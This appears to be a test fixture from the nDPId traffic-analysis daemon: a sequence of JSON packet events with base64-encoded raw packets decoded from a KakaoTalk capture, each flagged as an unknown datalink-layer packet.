+00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":337,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":63605,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFwAAEAAHRH9HgHJAa4KGFK8WgQsOABI5siAbDF5fqnyQ1Sapdrwxt2HIzgb4MaqqHDrZhawU1aXCgh8LwNzepuRoYbF5f5NB5KUu3XTAsf5ch2pZb8xITyh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":337,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":338,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":67023,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLnXmAbDF8fqn9g1SapdriQtW0QFPAFXdERZ\/dv9K0\/v502HqHfTZqxZypzUsH\/UEpe06+Xi5WKHas+tjQS0AVx9pi2gZ8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":338,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":339,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":88690,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/PqeAbDF6fqn2A1SapdoiSUrLhi1SIA6g8PTDTszv\/7bM88REyxutmNjNPsU1fPJ6hZFB+\/fT+XLi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":339,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":340,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":110053,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/rLKAbE72izqb2guGVRmyuK3xOWihm2e3EA20z3Hc4jxS6nTHk\/xBq4GTPmZX6dAOg4hEmvmuxqVL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":340,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":341,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":110236,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/zyyAbE73izqfmguGVRm4aEeeX\/ufohmrf9UJZXJNvGLwRrMIq+cDtJXqcKx70iHhsXaRlH1U9hJw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":341,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":342,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":135657,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/UmCAbE71izqYGguGVRmFeo6Jacns\/\/20Nor1KhRaaylw4x9kDO76sf2ooiy7UewRYUpSCXCJj5LR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":342,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":343,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":141364,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/lwyAbDF9fqoBQ1Sapdr6CyUlU+LPL6YIJrJN7CGlZk0XPqPQmkJL9YxluZnrRsg3naoomuDEMf8B"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":343,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":344,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":147528,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJYpOAbDF7fqn5w1SapdpVtEoVAFzKuwH\/\/CICCDIGiSe2pYz0GzPreqLbmeQmcuIIaM64165G2ixsk1qoYNPqw4DNng=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":344,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":345,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":195807,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHRH9GwHJAa4KGFK8WgQsOABLmV+AbDF8fqn9g1SapdriQtW0QFPAFXdERZ\/dv9K0\/v502HqHfTZqxZypzUsH\/UEpe06+Xi5WKHas+tjQS0AVx9pi2gZ8"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":345,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":346,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":207831,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/4A2AbE74izqjWguGVRk\/xy++RrAAxt5gS3JdNnvSYmVTBW5yUor29Qi\/fXzHjRV13Z7mo0dLyT97"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":346,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":347,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":209174,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/+MmAbE75izqnGguGVRlJ7Bm5WnD0Y6V+iDi9TsAg56nfdsuFzZbDe905QO7BMfmiNAc1hqn2numx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":347,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":348,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":221045,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAQBHaRQoYUrwByQGuKBxaBgBJjpuAbDF+fqoFA1Sapdqill9DSqX\/QIfEt5NWQ7VknckGNlXXqyWoPyhVNFK50LcHeAZ8JMJ5J1QydTND2Y4h51GiHA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":348,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":349,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":248877,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/sMyAbE72izqb2guGVRmyuK3xOWihm2e3EA20z3Hc4jxS6nTHk\/xBq4GTPmZX6dAOg4hEmvmuxqVL"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":349,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00512{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":350,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":266120,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIoAAEAAQBHaGAoYUrwByQGuKBxaBgB2+TGAbDF\/fqoIw1SapdpxXmK+IiLEkuP63uMrsf21yCeFQu0ikWBEcZIv5ZDme4mCC7JIK8oMC6O+PTpVLFxRksvStcE0oK0dBKK5GYX9roe+A21hAzGKNQHj1wRSGJC7Ng9lXIORsXgq5dVmEMMEsQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":350,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":351,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":295691,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/00aAbE73izqfmguGVRm4aEeeX\/ufohmrf9UJZXJNvGLwRrMIq+cDtJXqcKx70iHhsXaRlH1U9hJw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":351,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":352,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":301947,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIAAAEAAQBHaIgoYUrwByQGuKBxaBgBsM2CAbDGAfqoMg1Sapdp1T58Dg4ZDPOXGCQHmBd2RdRE9tMKRqvFdHqi0UXdZDFnh+bm5ruiVcNY1GGWNihPO3tKKN6OkQdp8c\/987Yw0b3uyQHdC05N8\/UdToc9R7f+\/zOoV9+wF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":352,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":353,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":313056,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/XEGAbE76izqq2guGVRnlym7Ot1+ugoy9Ni4NtEAjqN77574\/73u2cvf4kjvFi8FCbuh6bBAW6OmP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":353,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":354,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":319525,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/kvKAbDF9fqoBQ1Sapdr6CyUlU+LPL6YIJrJN7CGlZk0XPqPQmkJL9YxluZnrRsg3naoomuDEMf8B"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":354,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":355,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":348914,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/5CeAbE74izqjWguGVRk\/xy++RrAAxt5gS3JdNnvSYmVTBW5yUor29Qi\/fXzHjRV13Z7mo0dLyT97"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":355,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00495{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":356,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":402442,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKBxaBgBqRI6AbDGBfqoQQ1SapdpNTuOZFeYj5T9H13N4hsmj296iEOwBG9aQutxx8Uvx0sxE0fdy4zpRhgNBuIcyONaV1CeZ6l2SbtGJkkZsH2oc1NSWrBajAsXlTRQRJlPT5Ya5Rl52DQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":356,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":357,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":411872,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Lf6AbE77izqumguGVRmCYAPTwOS8cP+ejH69TD9+GOhAk5CYGhMSaKmtDg8\/guAQORDiKz4rzVXg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":357,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":358,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":411963,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/Fo6AbE78izqyWguGVRndcT4t1wHhV1FtcCFe6e7naNRBV7nFtQgJGQWzTDLuy\/BpSUKYkYfyGG\/c"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":358,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":359,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":437659,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHcAAEAAQBHaKwoYUrwByQGuKBxaBgBj4+qAbDGCfqoUA1SapdozCNaX0nlF8xBEzCnzl68HGP0KYQ\/bP6gahTzNid3hFq0vDy6e6GlOsD7SIpfI6VVbjLznhWOWGOj0Yq7ki66sF\/0GcloevMQKWMSgMVAT"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":359,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00481{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":360,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":497626,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBe9OyAbDGDfqoXw1SapdoRMjsHK3oho3Ok1nv76o5QV4Efl+2Ra3OOW\/\/F3nhgWMFxnKDBVU1WabU2wSsgkorDxvE4pfIFrs5m5eEKBV0RDl5CqtYWaCIEIg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":360,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":361,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":511573,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/BuSAbE79izq2GguGVRlA90+kz1jstC5q117L2j02z+Arg6weNLWFb1K9X8ztbf5GUCQkrXUD52d0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":361,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":511634,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/mceAbE7+izq52guGVRn99aRVwscBjMzW0M\/4jQnrZoRSRy0UxBcz5DLVi7tTBzIId8YdtYmSWbhp"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":362,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00483{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":537848,"pkt_caplen":134,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":134,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHYAAEAAQBHaLAoYUrwByQGuKBxaBgBiSAGAbDGEfqobg1Sapdqk6NPjlHL2j9iiWBR39MhtyKFaw9gwD2B88X+kwsAEP07rI4UArAc1B92EMQURo1p7tr5w4N8u77m5T3NfuepJ8YU+PepmCND5eVDukV8="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":363,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":614752,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/7x6AbE7\/izq9mguGVRkahgILk2aBgZqSjSqmGxBCHs4tPsNv5pCyNEc6YCTqJMODzIgvY6ydgYJ6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":364,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":621619,"pkt_caplen":125,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":125,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG0AAEAAQBHaNQoYUrwByQGuKBxaBgBZ6TWAbDGFfqofQ1SapdoDhrYWq64TR5RzotekUd8OwOorgWpTa4PRR2d3kNzYYyJ9OgQhnt71ZA9Si\/jolzoIyo794hvONsSHoYrBnDn3TYv\/o7c="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":365,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":623664,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/\/OOAbE75izqnGguGVRlJ7Bm5WnD0Y6V+iDi9TsAg56nfdsuFzZbDe905QO7BMfmiNAc1hqn2numx"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":366,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":627509,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF0AAEAAHRH9HQHJAa4KGFK8WgQsOABJioGAbDF+fqoFA1Sapdqill9DSqX\/QIfEt5NWQ7VknckGNlXXqyWoPyhVNFK50LcHeAZ8JMJ5J1QydTND2Y4h51GiHA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":367,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00512{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":635840,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIoAAEAAHRH88AHJAa4KGFK8WgQsOAB29ReAbDF\/fqoIw1SapdpxXmK+IiLEkuP63uMrsf21yCeFQu0ikWBEcZIv5ZDme4mCC7JIK8oMC6O+PTpVLFxRksvStcE0oK0dBKK5GYX9roe+A21hAzGKNQHj1wRSGJC7Ng9lXIORsXgq5dVmEMMEsQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":368,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00498{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":648017,"pkt_caplen":144,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":144,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIAAAEAAHRH8+gHJAa4KGFK8WgQsOABsL0aAbDGAfqoMg1Sapdp1T58Dg4ZDPOXGCQHmBd2RdRE9tMKRqvFdHqi0UXdZDFnh+bm5ruiVcNY1GGWNihPO3tKKN6OkQdp8c\/987Yw0b3uyQHdC05N8\/UdToc9R7f+\/zOoV9+wF"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":369,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":683692,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHBH+JwHJAa4KGFK8WgYoHAA\/YFuAbE76izqq2guGVRnlym7Ot1+ugoy9Ni4NtEAjqN77574\/73u2cvf4kjvFi8FCbuh6bBAW6OmP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":370,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":687537,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH4AAEAAHRH8\/AHJAa4KGFK8WgQsOABqQHSAbDGBfqoQQ1SapdpNTuOZFeYj5T9H13N4hsmj296iEOwBG9aQutxx8Uvx0sxE0fdy4zpRhgNBuIcyONaV1CeZ6l2SbtGJkkZsH2oc1NSWrBajAsXlTRQRJlPT5Ya5Rl52DQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":371,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":372,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069175,"pkt_ts_usec":688605,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGsAAEAAQBHaNwoYUrwByQGuKBxaBgBX4xqAbDGGfqojA1SapdpdAPM\/oZyckr8Odv6\/xcyB+APlPiRQrr+FgP8UIxwaRA7\/QQk2thirXztHwgtd39o+OpvnjLbx5vwL2JCgssnK8Bxv"} 